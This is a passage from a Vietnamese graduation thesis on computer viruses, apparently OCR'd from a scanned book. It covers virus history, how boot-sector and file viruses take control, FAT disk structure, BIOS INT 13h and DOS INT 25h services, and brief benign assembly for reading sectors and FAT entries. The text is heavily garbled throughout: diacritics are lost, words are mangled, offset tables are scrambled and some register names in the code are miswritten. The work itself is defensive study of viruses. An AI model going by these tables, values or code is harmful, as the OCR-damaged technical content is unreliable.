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LOI NOI PAU

Virus tin hoc hién nay dang 1a néi ban khoan lo lang cua
nhitng nguoi lam cong tac tin hoc, 1a ndi lo s¢ cia nhitng nguoi st
dung khi mdy tinh cua minh bi nhiém virus. Khi mdy tinh cta
minh bi nhiém virus, ho chi biét trong chd vao cac phan mém diét
virus hién ¢ trén thi truong, trong trudng hop cdc phan mém nay
khong phat hién hoac khong tiéu diét dugc, ho bi 1am phai tinh
huong rat khé khan, khong biét phai lam nhu th& nao.

Vi ly do d6, c6 mot cach nhin nhan co ban vé hé thong, co
ch€ va cdc nguyén tac hoat dong cua virus tin hoc 1a can thiét.
Trén co s& d6, ¢6 mot cach nhin ding dan vé virus tin hoc trong
viéc phong chong, kiém tra, chita tri cling nhu cich phan tich,
nghién cttu mot virus méi xuat hién.

Do 4n nay giai quyét cic van dé vira néu ra & trén. N6 duoc
chia lam 4 chuong:

Chuong I. Dat van dé.

Chuong II. Tong quan vé virus va hé thong.

Chuong III. Khao sét virus One Half.

Chuong IV. Thiét k€ chuong trinh chong virus.

Phan phu luc cu6i d6 4n liét ké toan bd chuong trinh nguodn
cua chuong trinh ki€ém tra va khoi phuc déi véi virus One Hallf.

Trong qua trinh xay dung do 4n nay, to6i da nhan duoc nhiéu
su gidp d& cua cac thay co gido, ban be dong nghiép va gia dinh.
Toi xin cam on su giip d& nhiét tinh cha thady Nguyén Thanh
Tung, 1a thay gido truc ti€p hudéng dan de tai t6t nghiép cua toi,
cam on cac thay co6 gido trong Khoa Tin hoc, cac thiy c6 gido va
cac can bo cua Trung tam boi dudng can bd Truong Dai hoc Bach
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khoa Ha noi da tao di€u kién gitp d& toi hoan thanh d6 an nay.
Toi ciing xin cam on cac ban be dong nghiép, ngudi than trong
gia dinh da tao di€u kién, dong vién toi trong qua trinh lam d6 an.

Vi diéu kién vé thoi gian khong nhiéu, kinh nghiém con han
ché&, khong tranh khoi cac thi€u sot. Toi mong nhan duoc cac y
kién déng gbp cla céac thdy co gido va cac dong nghiép dé cac
chuong trinh sau nay duoc t6t hon.

Chuong 1. .
PAT VAN PE

Mac du virus tin hoc da xuat hién tir kha lau trén th€ gidi va
trong nudc ta, song doi v6i nguoi st dung va ca nhiing nguoi lam
cong tac tin hoc, virus tin hoc van la van dé nan giai, nhi€u khi n6
gay cdc ton that vé mat mat dit liu trén dia, gay céc su co trong
qua trinh van hanh may. Su nan giai nay c6 nhiéu 1y do: Thit nhat,
cac kién thic vé mic hé thong khé hon céc kién thiic vé 1ap trinh
trén cic ngon ngit bac cao va cac chuong trinh tng dung, dac biét
nhiing thong tin can thiét vé hé thong khong dugc DOS chinh thiic
cong bd hoic 1a cac thong tin danh riéng (Reseved), di€u nay lam
cho nhiing nguoi dé cap & mic hé thong khong nhi€u. Thit hai,
hau nhu rét it cdc tdi lieu vé virus tin hoc duoc phd bién, co 18
ngudi ta nghi rdng néu cd cac tai lieu dé cap t6i virus mot cich ty
my, hé thong thi s6 ngudi tO mo, nghich ngom viét virus s€ con
tang 1én nita! Tha ba, s6 lugng cac virus xuat hién kha dong dao,
moi virus ¢c6 mot dac thu riéng, mot cach hoat dong riéng va mot
cach ph4 hoai rieng. D€ tim hiéu cin k& vé mot virus khong thé
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mot thoi gian ngan duoc, di€éu nay lam nan long nhitng ngudi 1ap
trinh mu6n tim hi€u vé virus.

Tuy da xuat hién kha nhiéu nhiing chuong trinh tiéu diét virus
va khoi phuc lai dia, khoi phuc lai cac file bi nhiém song trong
nhitng trudng hop cu thé, doi khi cdc phdn mém nay cling khong
giai quyét duoc van dé. C6 nhiéu ly do: Thi nhat, méi chuong
trinh chi tiéu diét mot s6 loai virus ma né biét. Thit hai, chiing ta
déu biét ring sau khi mot virus ndo d6 xuat hién, né méi duoc
nghién cttu va ma nhan bié€t ctia né méi dugc dua vao danh muc,
khi d6 chuong trinh méi c6 kha nang tiéu diét dugc. Dicu d6 cé
nghia 1a c6é thé c6 cdc loai virus xuat hién trong mdy tinh cla
ching ta ma cdc chuong trinh kiém tra virus van ct thong bdo
"OK". Pac biét la cac virus do nhitng nguoi 1ap trinh trong nuéc
viét, hau hét khong duoc cap nhat vao trong ciac chuong trinh
kiém tra va tiéu diét virus nhu SCAN, F-PROT, UNVIRUS,...

Vi cdc ly do néu trén, viéc phong chéng virus van la bién
phép t6t nhat d€ tranh viéc virus xam nhap vao trong hé thong
may cta minh. Trong truong hop phat hién c6 virus xam nhap,
ngoai viéc st dung cac chuong trinh diét virus hién dang c6 mat
trén thi trudng, viéc hi€u biét co ché, cac dic diém pho bién cua
virus la nhitng ki€n thiic ma nhiing nguoi lam cong tac tin hoc nén
biét dé c6 cac xtr ly phi hop.

Noi dung ctia d6 4n nay dua ra mot s6 phan tich co ban doi
vGi mang kién thic hé thong, cdc nguyén tac thiét k€, hoat dong
cua cac loai virus néi chung, ap dung trong phan tich virus One
Half. Trén co s6 d6, dé cap t6i phuong phap phong tranh, phat
hién va phan tich v6i mdt virus nao dé. Cac kié€n thic nay cong
vGi cac phan mém diét virus hién ¢ trén thi truong c6 tic dung
trong viéc han ch€ su lay lan, pha hoai cta virus néi chung.
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Chuong II.
TONG QUAN

I. GIGI THIEU TONG QUAT VE VIRUS TIN HOC.

1. Virus tin hoc.

Thuat ngit virus tin hoc dung d€ chi mot chuong trinh mdy
tinh c6 thé tu sao chép chinh né 1én noi khac (dia hoac file) ma
ngudi s dung khong hay biét. Ngoai ra, mot diac diém chung
thuong thdy trén cédc virus tin hoc 1a tinh pha hoai, né gay ra 16i
thi hanh, thay d6i vi tri, ma ho4 hodc huy thong tin trén dia.

2. Y tuéng va lich si.

Ly thuyét vé mot chuong trinh mdy tinh c6 thé tu nhan lén
nhiéu lan duoc dé cap tdi tir rat sém, trude khi chi€c mdy tinh dién
tr dau tién ra doi. Ly thuyét nay dugc dua ra nam 1949 boi Von
Neumann, trong mot bai bao nhan dé 'Ly thuyét va co céu cta cac
phan to tu hanh phic tap' (Theory and Organization of
Complicated Automata).

Sau khi may tinh dién tir ra doi, xuat hién mot tro choi tén la
'Core War', do mot so6 thao chuong vién cua hang AT&T's Bell
phat trién. Trd choi nay 12 mot cudc ddu tri gitta hai doan ma cla
hai thao chuong vién, mdi doan ma déu cd gang tu nhan lén va
tiéu diét doan ma cua doi phuong. Bén 5/1984, Core War duoc
mo ta trén bao chi va ban nhu mot tro choi may tinh.

Nhitng virus tin hoc dau tién dugc tim thay trén may PC vao
khoang 1986-1987. C4c virus thudng c6 mot xudt phat diém 1a
cac truong Dai hoc, noi c6 cac sinh vién gidi, thich tw khang dinh
minh!
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3. Phan loai:

Thong thuong, dua vao doi tuong lay lan la file hay dia ma
virus duoc chia thanh hai nhém chinh:

- B-virus: Virus chi tdn cong 1én Master Boot hay Boot
Sector.

- F-virus: Virus chi tdn cong 1én cac file kha thi.

Mic du vay, cdch phan chia nay ciing khong han 1a chinh
xac. Ngoai 1é van c6 céc virus vira tdn cong 1én Master Boot (Boot
Sector) vira tan cong 1én file kha thi.

Pé c6 mot cdch nhin tong quan vé virus, ching ta xem chiing

danh quyén diéu khién nhu thé nao.
a. B-virus.

Khi may tinh bat ddu khoi dong (Power on), cdc thanh ghi
phan doan déu duoc dat vé OFFFFh, con moi thanh ghi khic déu
dugc dat vé 0. Nhu vay, quyén diéu khién ban d4du dugc trao cho
doan ma tai OFFFFh: Oh, doan ma nay thuc ra chi 1a 1énh nhay
JMP FAR dén mot doan chuong trinh trong ROM, doan chuong
trinh nay thuc hién qu4 trinh POST (Power On Self Test - Tu ki€ém
tra khi khoi dong).

Qua trinh POST sé 14an luot ki€ém tra cdc thanh ghi, kiém tra
bo nhd, khoi tao cdc Chip diéu khién DMA, bo diéu khién ngit,
bo diéu khién dia... Sau d6 nd s& do tim cdc Card thiét bi gin
thém dé trao quyén diéu khién cho ching tu khoi tao r6i 14y lai
quyén diéu khién. Chd y rang day 13 doan chuong trinh trong
ROM (Read Only Memory) nén khong thé slra déi, ciing nhu
khong thé chén thém mot doan ma nao khéc.

Sau qua trinh POST, doan chuong trinh trong ROM tién hanh
doc Boot Sector trén dia A hodac Master Boot trén dia ciing vao
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RAM (Random Acess Memory) tai dia chi 0:7C00Oh va trao quyén
diéu khién cho doan ma d6 biang 1énh JMP FAR 0:7C00h. Day 1a
chd ma B-virus lgi dung dé tan cong vao Boot Sector (Master
Boot), nghia 1a n6 s& thay Boot Sector (Master Boot) chudn bing
doan ma virus, vi th€ quyén diéu khién duoc trao cho virus, né sé
ti€n hanh cic hoat dong cua minh trude, roi sau d6 mdi ti€n hanh
cac thao tic nhu thong thuong: Doc Boot Sector (Master Boot)
chuidn ma né cat gidu & dau d6 vao 0:7C00h rdi trao quyén diéu
khién cho doan ma chuén nay, va ngudi sit dung ¢4 cam gidc rang
may tinh cua minh van hoat dong binh thuong.

b. F-virus.

Khi DOS t6 chic thi hanh File kha thi (bang chiic nang 4Bh
cta ngat 21h), no s& t6 chiic lai viing nhd, tai File can thi hanh va
trao quyén diéu khién cho File d6. F-virus 1¢i dung di€ém nay bang
cach gan doan ma cta minh vao file ding tai vi tri ma DOS trao
quyén diéu khién cho File sau khi da tai vao ving nhd. Sau khi F-
virus tién hanh xong cédc hoat dong ctia minh, né mdéi sap xép, bo
tri tra lai quyén diéu khién cho File dé cho File lai tién hanh hoat
dong binh thudng, va ngudi st dung thi khong thé biét duoc.

Trong cac loai B-virus va F-virus, c6 mot s6 loai sau khi danh
dugc quyén diéu khién, s€ ti€n hanh cai diat mot doan ma cua
minh trong vuing nhé RAM nhu moét chuong trinh thuong tra
(TSR), hoidc trong ving nhd nam ngoai tim kiém sodt cia DOS,
nhiam muc dich kiém soat cdc ngit quan trong nhu ngat 21h, ngat
13h,... Mdi khi cdc ngit nay dugc goi, virus s& danh quyén diéu
khién dé tién hanh cdc hoat dong cta minh truéc khi tra lai cac
ngat chuan cua DOS.

Dé c6 cac co sb trong viéc khdo sat virus, ching ta cin c6 cac
phan tich dé€ hiéu o vé cdu tric dia, cic doan ma trong Boot
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Sector (Master Boot) cling nhu cdch thitc DOS t6 chiic, quan 1y
cung nhd va to chic thi hanh mot File kha thi nhu thé nao.

1. PiA - TO CHUC THONG TIN TREN DiA.

1. Cdu tric vit ly.

Céc loai dia (dia cting va dia mém) déu luu trit thong tin dua
trén nguyén tac tir hod: Dau tir doc-ghi s& tir hod cdc phan tir cuc
nho trén bé mat dia. Dit liéu trén dia duoc ghi theo nguyén tac roi
rac (digital), nghia 1a s& mang gi4 tri 1 hoac 0. Dé c6 thé t6 chitc
thong tin trén dia, dia phai dugc dia chi hod. Nguyén tac dia chi
hoa dua trén c4c khai niém sau day:

a. Side:

D6 1a mat dia, doi véi dia mém cé hai mat dia, doi vé6i dia
cing ¢ thé c6 nhiéu mat dia. D€ 1am viéc véi mbéi mat dia ¢
mot dau tr tuong tng, vi th€ doi khi ngudi ta con goi 1a Header.
Side duoc danh s6 lan lugt bat dau tir 0, chang han doi véi dia
mém, mit trén 1a mat 0, mat dudi 1a mat 1, d6i véi dia ciing ciing
tuong tu nhu vay s€ dugc danh s6 1a 0,1,2,3...

b. Track:

La cac vong tron dong tam trén mat dia, noi tap trung cac
phan tir tir hod trén bé mat dia d€ luu trit thong tin. C4c track danh
sO tir bén ngoai vao trong, bat diu tix 0.

c. Cylinder:

Mot bo céac track cung tht ty trén moi mat dia dugc tham
chiéu dén nhu mot phan tr duy nhat, d6 1a Cylinder. SO hiéu cta
Cylinder chinh la s6 hiéu cua céc track trong Cylinder do6.

d. Sector:
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Bo diéu khién dia thuong dugc thiét k& dé c6 thé doc va ghi
moi 14an chi timg phan doan cua track, moéi phan doan nay goi la
mot sector, dudi hé diéu hanh DOS, dung Iuong mot sector 1a 512
byte. Cac sector trén track dugc danh dia chi, thong thudong hién
nay nguoi ta sit dung phuong phap danh s6 sector mém, nghia la
ma hoa dia chi cta sector va gian vao phan diu cua sector do.

Ngoai khai niém Sector, DOS con dua ra khai niém Cluster,
nham muc dich quan 1y dia dugc tot hon. Cluster bao gdém tap hop
céac Sector, 1a don vi ma DOS dung d€ phan bo khi Iuu trit cac file
trén dia. Tuy dung luong dia ma so luong Sector trén mot Cluster
c6 thé 1a 1, 2 (d6i v6i dia mém) hoic 4, 8, 16 (doi vé6i dia cing).
2. Cdu truc logic:

Doi v6i moi loai dia, DOS déu t6 chitc dia thanh hai phan:
Phan hé thong va phan dit liéu. Phan hé thong bao gom ba phan
con: Boot Sector, bang FAT (File Alocation Table) va Root
Directory. Dai v6i dia cing, DOS cho phép chia thanh nhi€u phan
khac nhau, cho nén con c6 mot cau tric dac biét khac 1a Partition
Table.

Sau day chuing ta dé cap téi timg phan mot:

a. Boot Sector.

Po6i vGi dia mém, Boot Sector chiém trén Sector 1, Side 0,
Cylinder 0. Do6i véi dia cing, vi tri trén danh cho bang Partition,
con Boot Sector chi€ém sector du tién trén céc 6 dia logic.

Khi khéi dong may, Boot Sector dugc doc vao dia chi O:
7C00h va dugc trao quyén diéu khién. Poan ma trong Boot Sector
c6 cac nhiém vu nhu sau:

- Thay lai bang tham s6 dia mém (ngét 1Eh).

- Binh vi va doc Sector dau tién ctia Root vao dia chi 0:0500h
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- Do tim, doc cac file hé thong néu c6 va trao quyén di€u
khién cho chiing.
Ngoai ra, Boot Sector con chita mot bang tham sé quan trong

dén céu tric dia, bang tham s6 nay bat diu tai offset 0Bh ctia Boot
Sector, cu thé cau tric ndy nhu sau:
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Offset

+0h

+3h
St
+0Bh
+0Dh
+0Eh

+10h
+11h

+13h

+15h

+16h

+18h
+1Ah
+1Ch

+1Eh

Siz

Noi1 Giai thich
dung

JMP Lénh nhay dén dau doan ma Boot.

XXXX
Tén cua hé thong da format dia.

BPB--------————---- (Bios Parameter Block)

SectSiz | SO byte trong mot Sector.

ClustSiz | SO Sector trong mot Cluter.

ResSecs | So luong Sector danh riéng (trudc
FAT).

FatCnt | S6 bang FAT.

RootSiz | S6 dau vao t6i da cho Root (32
byte cho moi diu vao).

TotSecs | Tong s6 sector trén dia (hodc
Partition) trong truong hop dung
lugng < 32MB.

Media | Media descriptor dia (giong nhu
byte dau bang FAT).

FatSize | So luong Sector cho moéi bang
FAT.

End of BPB-----------------

TrkSecs | So luong Sector trén mot track.

HeadCnt | S6 lugng dau doc ghi.

HidnSec | So sector dau mat (dugc dung
trong cdu truc Partition).

Dau doan ma trong Boot Sector.
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Trén day la bang tham s6 dia khi format dia bang DOS cac
Version trudc day. Tu DOS Version 4.0 tr6 di, c6 mot su mo rong
dé c6 thé quan 1y duoc cdc dia c6 dung luong 16n hon 32MB, su
mo rong nay bat ddu tir offset +1Ch dé gilt nguyén céc cau tric
trudc d6. Phan mé rong thém c6 cau tric nhu sau:
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Offse
t

+1Ch

+20h

+24h

+25h
+26h

+27h

+2Bh
+36h

+3Eh

Size

No1 dung

HidnSec

TotSec

PhsDsk

Resever

Serial

Volume

Giai thich

S6 Sector ddu mat (dd duoc diéu
chinh 1én 32 bit).

Téng so Sector trén dia khi gid tri &
offset +13h bang 0.

S6 dia vat 1y (0: dia mém, 80: dia
cung 1, 81: dia cung 2).

danh riéng.

Ky hiéu nhan dién cua DOS
Version x.xx

La so nhi phan 32 bit cho biét Serial
Number.

Volume label

Loai bang FAT 12 hay 16 bit.
Thong tin nay danh riéng ciia DOS.

Pau doan ma chuong trinh.

Phan ma trong Boot Sector s& dugc phan tich mot cach chi

ti€t trong phan sau nay.
b. FAT (File Alocation Table).
Bang FAT la vung thong tin dac biét trong phan hé thong,
dung d€ luu trang thai cac Cluster trén dia, qua d6 DOS c6 thé
quan 1y duoc su phan bo File.

Cach tham chi€u dén mot dia chi trén dia thong qua so hiéu
Side, Cylinder, Sector 1a cdch 1am ctia ngat 13h ctia BIOS va ciing
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1a cdch lam cta bo diéu khién dia. Ngoai cach tham chi€u trén,
DOS dua ra mot cach tham chi€u khac chi theo moét thong so: dé
12 s6 hiéu Sector. Cdc Sector duoc danh s6 bat ddu tir 0 mot cach
tuan tu tr Sector 1, Track 0, Side O cho dén hét s6 Sector trén
Track nay, roi chuyén sang Sector 1, Track 0, Side 1,... Tat ca céc
Sector cia mot Cylinder s€ dugc danh s6 tuan tu trude khi DOS
chuyén sang Track k& ti€p. Cich ddnh so nay goi la danh so
Sector logic, va dugc DOS stir dung cho céc tac vu cua minh.

Khéi niém Cluster chi ding dé€ phan b dia dé luu trit File,
cho nén chi bat diau danh s6 Cluster tir nhitng Sector diu tién ctua
phan dit liéu (phin ngay sau Root). S6 hiéu dau tién dé danh so
Cluster 1a 2, nham muc dich thdng nhat trong cich quan ly thong
tin trong bang FAT.

Noi dung cua FAT :

Mbi Cluster trén dia duoc DOS quan 1y bang mot entry, hai
entry ddu tién dung d€ chda thong tin nhan dang dia, d6 1a 1y do
Cluster dugc danh s6 bat ddu tir 2. Entry 2 chia thong tin cua
Cluster 1, Entry 3 chtta thong tin cia Cluster 2,... Gia tri cua
entry trong bang FAT c6 y nghia nhu sau:

Gia tri Y nghia

0 Cluster con trong, c6 thé phan bo duoc
(0)002- Cluster dang chta dit liéu ca mot File nao do,
(F)FEF gid tri cua nd la s6 Cluster ké tiép trong

Chain.

(F)FFO- Danh riéng, khong dung
(F)FFo6
(F)FF7 Cluster hong
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‘ (F)FF8- La Cluster cu6i cung cua Chain.

(F)FFE

Doi v6i dia mém va dia cing cé dung luong nho, DOS su
dung bang FAT-12, nghia la sit dung 12 bit (1,5 byte) cho mot
entry. D1 véi cac dia cing c6 dung luong 16n, DOS str dung bang
FAT-16, nghia Ia st dung 2 byte cho mdt entry. Cach dinh vi trén
hai bang FAT nay nhu sau:

- D6i v6i FAT-16: Vi moi entry chiém 2 byte, nén vi tri cta
Cluster ti€p theo bang gi4 tri cua Cluster hién thoi nhan véi 2.

- Doi v6i FAT-12: Vi moi entry chi€ém 1,5 byte, nén vi tri cia
Cluster ti€p theo bang gia tri cia Cluster hién thoi nhan véi 1,5.
Gia tri cu thé 12 12 bit thap néu s6 thit tu s6 Cluster 1a chdn, ngugc
lai 1a 12 bit cao trong word tai vi tri ciia Cluster ti€p theo do.

Poan chuong trinh sau day minh hoa cach dinh vi bang FAT.

Vao: SI : S6 Cluster dua vao.

Bién FAT _type luu loai bang FAT, néu bit 2 = 1 thi FAT
la 16 bit.

Ra: DX : So6 Cluster tié€p theo.
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S = O O

Locate_Cluster proc

mov ax,3

test FAT _type,4

je FAT 12

Inc ax
FAT 12:

mul si

shr ax, 1

mov bx,ax

mov dx,FAT buff[bx]

test FAT _type,4

jne FAT_16

mov cl4

test si,1

je Chan

shr dx,cl ; Lé thilay 12 bit cao
Chan:

and dh,0F ; Chan thi 14y 12 bit thap
FAT 16:

ret

Locate Cluster endp

Mot vi du vé phan dau ctia bang FAT:

O 0 0O 0O0O0O 0 0 0 O0OO0OO0OO0OO0 0 of
O 1 2 3 4 5 6 7 8 9 a b c d e

F F FFO0OOOU OU OU OU OU OTFTFO0O
8 F F F 3 04 05 06 0 FF 8 0
O 0o 0o 0o 0O 0O F F F F B OV FFF F
90 A0 BOVFVFF F 9 2 FF F F
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Moi entry trong bang FAT nay chiém 2 byte (FAT 16bit), 2
entry dau tién ctia bang FAT nay la gia tri nhan dang dia (FFF8-
FFFF), gia tri cua Cluster 2 tro t6i Cluster 3, gid tri cua Cluster 3
lai tro t6i Cluster 4, ... cho dén khi Cluster 6 c6 gia tri FFFF,
nghia 1a két thic File.

c. Root Directory.

Root Directory con dugc goi 1a thu muc goc, ndm ngay sau
FAT. N6 ¢6 nhiém vu luu giit cac thong tin thu muc cua céac File
trén dia. Moi File dugc dac trung bdi entry (dau vao) trong Root
Director, moi entry chi€ém 32 byte luu giit cac thong tin sau day:

Offset | Kich thude No1 dung
+0h 8 Tén file duoc canh trai
+8h 3 Phan ma& rong dugc canh trai
+0Bh 1 Thuoc tinh file
+0Ch 0Ah Danh riéng
+16h 2 Thoi gian tao 1ap hay cap nhat lan
cuoi.
+18h 2 Ngay thang tao 1ap hay cap nhat
lan cudi.
+1Ah 2 S6 Cluster bat dau cua file (trong
FAT).
+1Ch 4 Kich thudc file

Byte thudc tinh c6 y nghia nhu sau:
76 5 43210

=1: File chi doc (Read Only)
=1: File 4n (Hidden)
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=1: File hé thong (System)
=1: Volume Label
=1: Sub Directory
=1: File chua dugc backup (thudc tinh archive)

Ky tu dau tién phan tén file c6 y nghia nhu sau:

0 Entry con trong, chua dung
. (dau Dau hiéu danh riéng cho DOS, dung trong
cham) cau tric thu muc con
OE5h Ky tu sigma nay thong bao cho DOS biét
entry cua file nay da bi xoa.
Mot ky tu | Entry nay dang luu giit thong tin vé mot file
khac nao do.
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d. Partition Table.

Partition table con dugc goi 1a Master Boot, luu trit tai Side 0,
Cylinder 0, Sector 1 trén dia cing. Tai day, ngoai bang Partition
(bang phan chuong), con ¢6 mot doan ma duoc trao quyén di€u
khién sau qud trinh POST tuong tu nhu doi v6i Boot Sector trén
dia mém. Doan ma nay nham xédc dinh Partition nao 1a hoat dong
dé doc Boot Sector cuia Partition d6 vao 0:7C00 va trao quyén diéu
khién cho doan ma ctia Boot Sector do.

Partition Table bat dau tai offset 1BEh, mdi Partition duoc
dic trung bang mot entry 16 byte:

Offse
t

+0
+1
+2

+4

+5
+6

+8
+0Ch
+10h

Siz

o = = O

Noi1 dung

Co hiéu boot. 0= khong active, 80h=active
S6 hiéu ctia Header bat dau

Sec-Cyl: S6 hiéu Sector-Cylinder bat ddu cua
Partition

Ma hé thong: O=unknown, 1=DOS FAT-12,4=DOS
FAT-16,...

S6 hiéu cua Header két thiic

Sec-Cyl: S6 hiéu Sector-Cylinder két thic cua
Partition

low-high: S6 Sector bat ddu tuong doi
low-high: Téng s6 Sector trén Partition

Pau vao ctia mot Partition khac, két thic bang
Partition phai 1a chit ky ctia hé diéu hanh: 0AA55h
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3. Cdc tdc vu truy xudt dia.

a. Miic BIOS.

Cac tac vu truy xuat dia 6 muc BIOS st dung cach tham
chiéu dia chi trén dia theo Cylinder, Side va Sector. Cac chic
nang nay duoc thuc hién thong qua ngat 13h, véi timg chiic nang
con trong thanh ghi AH. Cic phuc vu can ban nhat dugc mo ta
nhu sau:
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al. Phuc vu O: Reset dia:
Vao:
AH=0
DL = S6 hiéu dia vat ly (0-dia A, 1-dia B, ..., 80h-dia
cung 1, 81h-diactng 2,...)

Ra:

Thanh ghi AH chtra trang thai dia (xem phuc vu 1)

Chtc nang nay dung dé reset lai dia sau mot tdc vu gap 16i.
Phuc vu nay khong tic dong lén dia, thay vao d6 nd budc cac
trinh hd trg dia cia ROM-BIOS phai bat ddu lai tir ddu trong lan
truy cap dia k€ ti€p bang cach canh lai ddu doc/ghi cua 6 dia (dinh
vi dau doc tai track 0).

a2. Phuc vu 1: Ldy trang thdi dia.

Phuc vu 1 tra vé trang thai dia trong 8 bit cua thanh ghi AH.
Trang thai dugc duy tri sau méi thao tdc dia (doc, ghi, kiém tra,
format). Nho vay cdc trinh xur 1y 161 ¢6 thé 1am viéc hoan toan doc
lap véi cdc trinh thao tic dia. Di€u nay rat cé ich néu ching ta st
dung DOS hay ngon ngit 1ap trinh dé€ diéu khién dia.

Vao:

AH=1
DL = S6 hiéu dia vat ly (0-dia A, 1-dia B, ..., 80h-dia
cung 1, 81h-dia cing 2,...)
Ra:
AH chua trang thai dia.

Gia tri Y nghia
(hex)
00 Thanh cong
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01
02
03

04
05
06

Gid tri

(hex)
07
08
09
0A
10
11
20
40
80
AA

BB
CC
EO
FF

Lénh khong hop 1¢
Khong tim thdy dau dia chi trén dia

Ghi 1én dia dugc bao vé chong ghi
M)

Khong tim thay Sector
Tai 1ap khong dugc (C)
Dia mém da 1ay ra (M)

Y nghia

Bang tham s6 bi hong (C)
DMA chay qua 16 (M)
DMA 6 ngoai pham vi 64K
Co Sector bi 16i

CRC hay ECC 16i

ECC da diéu chinh dit liéu sai (C)
L6i do bo diéu khién dia
Lbi khong tim duoc track
L6i hét thoi gian

O dia khong san sang (C)
L6i khong xac dinh (C)
Lbi lic ghi (C)

Lbi thanh ghi trang théi (C)
Thao tac do that bai (C)
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Ghi chii: (C- Chi dung cho dia cing, M- Chi dung cho dia
mém).

a3. Phuc vu 2: Doc Sector dia.

Phuc vu 2 doc mot hay nhiéu Sector cua dia vao bo nhé. Néu
doc nhiéu Sector thi chiing phai nam trén cluing track va cing mit
dia, 1y do vi ROM-BIOS khong biét c6 bao nhiéu sector trén track
nén khong biét lic nao can doi sang track khdc hay mat khdc.
Thong thudng, phuc vu nay dugc dung dé doc cac sector don 1€
hodc toan b cic sector trén mot track.

Thong tin diéu khién dat trong cdc thanh ghi nhu sau:

Vao:

AH=2

DL chtta s6 hiéu dia vat ly (0-dia A, 1-dia B, ..., 80h-dia
cung 1, 81h-dia cing 2,...)

DH chita s6 hiéu mat dia hay s6 hiéu dau doc/ghi.

CX chira s0 hiéu Cylinder va s6 hiéu Sector. SO0 hiéu
Sector chi chi€m 6 bit thap trong thanh ghi AL, con
hai bit 6 va 7 dung lam bit cao phu thém vao 8 bit
cua CH dung dé chita s6 hiéu cta Cylinder.

AL chtta s6 luong Sector can doc.

ES:BX chita dia chi ving dém, ving dém di liéu nay
phai du 16n dé chia duge lugng thong tin doc vao.
Khi phuc vu nay doc nhi€u Sector, né s€ dat cac
Sector k€ ti€p nhau trong bd nhd.

Ra:

Két qua cua viéc doc dia duoc cho lai trong t6 hop cd

nhé CF va thanh ghi AH. CF=0 (NC) la khong c6 16i va

AH ciing s€ bang 0, lic nay AL chita s6 Sector doc duoc.

CF=1 (CY) la c6 16i va AH chita trang thai dia (xem y

nghia byte trang thai dia trong phuc vu 1).
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Chu y: Riéng AT BIOS cia AWARD cho phép so6 hiéu
Cylinder chiém 12 bit vi lay thém bit 6-7 cua DH lam bit cao
nhat.

a4. Phuc vu 3: Ghi Sector dia.
Vao:
AH=3
Céac thanh ghi khéic tuong tu nhu phuc vu 2 (doc sector)
Ra:
CF=1 néu ¢6 16i va ma 16i chita trong thanh ghi AH (xem

phuc vu 1), nguoc lai CF=0 1a khong c6 16i, khi dé
AH=0.

a5. Phuc vu 8: Ldy tham s 0 dia.

Phuc vu 8 tra vé cac tham so 0 dia.
Vao:
AH=8
DL chia so6 hiéu dia vat 1y (0-dia A, 1-dia B, ..., 80h-dia
cung 1, 81h-dia cing 2,...)
Ra:
DH chita s6 hiéu dau doc/mat dia 16n nhat
CX chita s6 hiéu Cylinder 16n nhit-s6 hiéu sector 16n
nhat. Ciing giong nhu phuc vu 2, s6 hiéu Sector chi
chiém 6 bit thiap cua thanh ghi CL, con 2 bit 6-7
dugc ghép la hai bit cao cling véi 8 bit ciia thanh ghi
CH chua s6 hiéu cua Cylinder 16n nhat.
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b. Miic DOS.

Cac chuic nang truy xuat dia & mic DOS st dung cach danh
s6 Sector theo ki€u ctia DOS. N6 sir dung hai ngit 25h va 26h
twong ng vé6i chic nang doc va ghi dia, thay doi lai cach goi tén
dia theo thit tu chit cdi: 0: 6 dia A, 1: 6 dia B, 2: 6 dia C,...

Vao:

AL chua s6 dia (0=A, 1=B, 2=C,...)

CX chita so luong sector doc/ghi

DX chita s6 sector logic bat ddu

DS:BX chia dia chi ctia buffer chita dit liéu cho tac vu
doc/ghi.

Ra:

Co CF=1 néu gap 16i, va ma 16i tra lai trong thanh ghi
AX.

Nhuoc di€ém ctuia ngat 25h va 26h 1a trén cac dia ciing: n6 chi
cho phép truy xuit cdc sector bat diu tir Boot Sector cia mot
Partition. Master Boot va cac sector khiac ngoai Partition DOS
khong c6 gia tr1 gi trong chic nang nay. Ngoai ra, mot nhugc
diém khdc 12 sau khi thuc hién xong, DOS dé€ lai trén Stack mot
Word, s& gay 16i cho chuong trinh néu khong dé y.

C6 mot diém quan trong can luu y: Ping yéu ciu doc so
luong sector vugt qua 64K tinh tir dau segment cta buffer chia dit
liéu.

Doan chuong trinh sau day st dung ngit 25h dé doc Boot
Sector trén dia mém A:

mov al,0 ; dia A:

mov dL,0 ; Sector logic 0
mov cx,1 ; doc 1 sector

24/233



www.nhipsongcongnghe.net

lea bx,MyBuff ; DS:BX tr6 tGi dia chi viing
dém

int 25h

pop dx ; Lay lai mot word du trén Stack

jnc NoErr

............................... ; Doan ma xu 1y 16i doc dia (ma
16i trong AX)

NokErr:

............................... ; Poan ma tiép tuc néu khong cé
16i.

Vi so0 Sector dat trong thanh ghi 16 bit, nén s6 luong sector
khong duoc phép vuot qua 65535. Diéu nay 1la mot han ché doi
véi cdc dia cing ¢6 s6 luong sector 16n. Bat dau tir DOS 4.0 tré di,
nhuoc diém nay dugc giai quyét theo cdch sau day nang tir 16 bit
len 32 bit nhung van tuong thich véi ciac Version cii, cu thé nhu
sau:

Néu CX < OFFFFh thi van gilt nguyén cach lam viéc trén cac
thanh ghi nhu trén.

Néu CX=0FFFFh, thi s€ lam viéc trén dang thic méi cua
DOS 4.0, lic nay DS:BX sé€ tro téi Control Package, mot cau tric

10 byte chita cac thong tin vé Sector ban dau, s6 Sector cin
doc,vv... CAu triic cu thé cua Control Package cu thé nhu sau:

Offset Kich No1 dung
thuéc
+0 4 S6 Sector logic ban dau
+4 2 S6 Sector can doc/ghi
+6 4 Dia chi cua buffer chia dit
liéu
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Doan chuong trinh sau day sir dung ngit 25h dé doc Sector

trén dia cung C:

mov

mov

mov

trong AX)

NokErr:

al,2 ; Chon 6 dia C
cx,0FFFFh ; Day la phan mé rong cua 4.0
bx,packet  ; DS:BX tr6 t6i nhém thong tin

--- Phan khdi tao Packet truée khi doc

word ptr [bx],14464 ; Word thap
word ptr [bx+2],1 ; Word cao
word ptr [bx+4],1 ; S6 Sector can doc

[bx+6],OFFSET MyBuff ; Gan dia chi

[bx+8],SEG MyBuff

--- Xong phan khoi tao packet

25h
